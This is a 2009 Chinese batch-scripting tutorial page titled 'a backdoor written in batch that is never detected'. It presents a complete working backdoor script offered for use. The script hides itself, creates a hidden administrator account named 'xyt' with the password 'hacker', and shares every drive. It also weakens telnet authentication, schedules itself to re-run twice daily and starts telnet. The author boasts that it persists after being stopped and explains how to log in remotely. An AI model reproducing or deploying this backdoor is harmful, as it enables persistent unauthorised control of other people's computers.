繁體中文当前位置: 首页 > 图文教程 > 脚本技术 > DOS/BAT > 用批处理写的后门 永不被杀
- DOS/BAT
- Compact 显示和更改 NTFS 分区上的文件或目录压缩
- Del (erase) 删除指定文件
- Convert 将 FAT 和 FAT32 卷转换为 NTFS
- copy 将一个或多个文件从一个位置复制到其他位置
- Country使 MS-DOS 子系统能使用国际时间、日期、货币、大小写转换和小数分隔符
- format命令 参数说明
- Xcopy 复制文件和目录，包括子目录。
- 一个命令行(批处理)延迟执行命令的语法
- 收集21个DOS常用命令
- dos、bat批处理延时执行命令的两种方法
- CMD下建立虚拟目录的方法
- 关于批处理中FOR语句的使用说明与学习技巧
- 以后经常需要知道CMD/DOS下符号的作用参考，正好发现了这篇
- 由一段批处理程序所引起的探讨感觉问题是有，不太准确
- 用bat和 reg实现关闭局域网共享
- 开通局域网共享(访问本机无需验证即可进入的bat和注册表文件
- 开通局域网共享(访问本机要填用户名和密码)的注册表和批处理
- 用注册表实现(仅供备用)硬盘各分区的默认共享：关闭
- 判断U盘已插入并自动COPY所有内容的批处理-U盘自动复制
- 用批处理列出所有开机启动项的命令
DOS/BAT 中的 用批处理写的后门 永不被杀
出处:互联网 整理: 软晨网（RuanChen.com） 发布: 2009-09-11 浏览: 156 ::
收藏到网摘: n/a
代码思路是影子鹰DESERT朋友的，原代码比较麻烦，我做了改进，这个后门优点就是小而且不会被杀，放到SYSTEM32目录下就可以了 ，代码如下：
@echo off
@attrib +s + r xyt.bat
@net user xyt hacker /add
@net localgroup administrators xyt /add
@net share c$=c:
@net share d$=d:
@net share e$=e:
@net share f$=f:
@net share g$=g:
@net share h$=h:
@tlntadmn config sec = -ntlm
@net stop schedule
@net start Schedule
@echo at 11:00 c:\WINNT\SYSTEM32\log.bat > c:\WINNT\SYSTEM32\xyt.bat
@echo at 23:00 c:\WINNT\SYSTEM32\log.bat >> c:\WINNT\SYSTEM32\xyt.bat
@at 11:05 c:\WINNT\SYSTEM32\xyt.bat
@at 23:05 c:\WINNT\SYSTEM32\xyt.bat
@net stop telnet
@net start telnet
@exit
这样就会循环运行我们的程序了，即使被人停下来，过几个小时，又回重新运行，呵呵~~
运行后TELNET IP上去，用户名为xyt，密码为hacker。
评论 (0) All
